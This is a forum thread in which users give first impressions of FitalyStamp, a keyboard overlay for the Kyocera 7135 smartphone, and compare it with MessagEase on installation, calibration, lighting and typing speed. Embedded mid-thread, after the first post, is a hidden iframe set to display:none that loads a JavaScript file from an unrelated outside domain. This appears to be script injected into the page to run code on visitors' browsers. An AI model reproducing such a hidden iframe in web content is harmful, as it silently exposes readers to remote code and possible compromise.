I've been using MessageEase for about 6 months and have had no complaints, but I always enjoying trying new things, and therefore I decided to try the new FitalyStamp for the 7135. I've had it installed all of about an hour, so you are getting my first reactions.

First, I was kind of overwhelmed at all the programs that are included in the zip file, however there are only 2 files that have to be installed on the smartphone, so the installation is quite managable. If you don't have a hackmaster program installed on your smartphone, one is required. I had X-master already installed and therefore did not re-install it.

The "readthisfirst.htm" file has not been updated to include the 7135 specific stamp and so the stamp application instructions are out-of-date, but applying the stamp to the Grafitti area is pretty simple and so it isn't a big deal. The stamp fits perfectly. In comparison, the MessagEase stamps are generic and therefore the MessagEase stamps have to be cut to fit the 7135. Not so with the FitalyStamp. They are designed specifically for the 7135.

After I installed the programs, I activated FitalyStamp and started experimenting. There is a one-point position adjustment procedure and that concerns me somewhat. I have noticed that the punctuation/numeral colums on the right hand side of the letters seem somewhat out of adjustment. I have to slide the numerals almost a full column to the right of their actual placement in order to get the correct character to display. MessageEase has a 3-point position adjustment procedure and my first impressions are that the position adjustment is more accurate with MessagEase.

In addition to installing the 2 FitalyStamp programs, I also installed "FitalyLetris". This is a game intended to help new users learn key placement and build up typing speed. I installed this program and the accompanying database onto the expansion card and discovered that the game wasn't working. I've since removed it and plan to re-install it into RAM and see if that solves that problem. I haven't re-installed it yet.

First impressions: FitalyStamp is going to be much easier to learn to use in comparison to the learning curve required for MessagEase. Also, my 1st impression is that, when I get fully acquainted with the program, I think that my typing speed will be better with FitalyStamp. One difficuly with MessagEase was that many of the letters are only accessible with slides and the slide positioning is very difficult to see if you are typing in anything less than good illumination. All 26 letters are present with FitalyStamp and therefore it is going to be much easier to see key placement and learn the keys.

I like the fact that capital letters can be completed with a slide. With MessagEase it was either a 2-key operation, or a circular movement to capitalize letters, and I never was very good at getting the circular motion to work correctly.

So there you have my 1st impressions. Installation was simple and learning the key positions appears to be simple too. I like the layout a lot. My only concern so far is related to accuracy of adjusting the digitizer for key positions. Perhaps I am missing something here, but I don't think so.

I'll post another personal reaction to FitalyStamp once I have worked with it for a while longer.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

Well, it turns out the digitizer adjustment problem was my fault. I had downloaded "FitalyStamp3.zip" and there is a special zip file just for the 7135 which is "FitalyStamp3Phone.zip". I must say, when I read the web site download instructions, I missed that crucial point altogether. They need to make it more obvious.

So....I started over. It appears there is one additional file that must be added to the installation when using FitalyStamp on the 7135 and that is "FitalyKyocera.pdb". Once I got the proper files installed the digitizer/letter placement is perfect.

Thanks for the first impressions Dave! I find myself doing a lot more text entry lately, so I am very interested in giving Fitaly a try.

Have you had a chance to try it in low lighting conditions yet? It's probably too much to hope that the weak backlighting of the 7135's graffiti area would shine through, and I usually pop up the on-screen keyboard for night time text entry anyway... but I'm just curious

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That's good news. I was a bit concerned with that.

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I've not tried out FitalyStamp under low lighting conditions yet (its only been on my phone for about an hour and it is still daylight). However, I can tell you already that it will be a lot easier to use under low lighting conditions than MessagEase for one important reason. MessagEase has only 9 letters that are available and printed in bold on the stamp. All the other letters are entered from slides, and if you aren't extremely familair with the stamp layout, the slide position for all the other letters are very hard to find. FitalyStamp on the other hand has all 26 letters on the stamp in bold letters and in low lighting conditions, the light being reflected off the screen will be sufficient to let you see all the letter positions (remember, everyone is supposed to be taking my advice and keep the backlight at its highest setting!!! )

I mentioned in a previous post that FitalyLetris, the game that helps new Fitaly users become familiar with keystrokes, wasn't working when I installed it onto the expansion card. When I reinstalled FitalyLetris in RAM it works fine. This program consists of two files, the prc and a database (pdb) file. It is possible you could install the prc to the expansion card and the software will work so long as the database is located in RAM, but I didn't try that combination.

I was glad to see someone post about this. I too downloaded the trial and taped the printable Fitaly keyboard over my graffitti area. I tried it for a while and gave up as I am quite a fast graffiti "typist". One thing I liked about the demo so far is the accuracy. ie. you tap a "j" you get a "j". Unlike graffitti that has a mind of its own sometimes. I know if I had the patience I could get faster with Fitaly. One thing holding me back is the cost. It seems expensive at first but was wondering if others have found that it is worth it. To me it would be worth it if it doubles my speed of input.

ST

My typing speed is easily tripled using FitalyStamp as compared to graffitti. However, I should point out that I never considered myself particularly fast with graffitti. For me FitalyStamp is well worth the investment.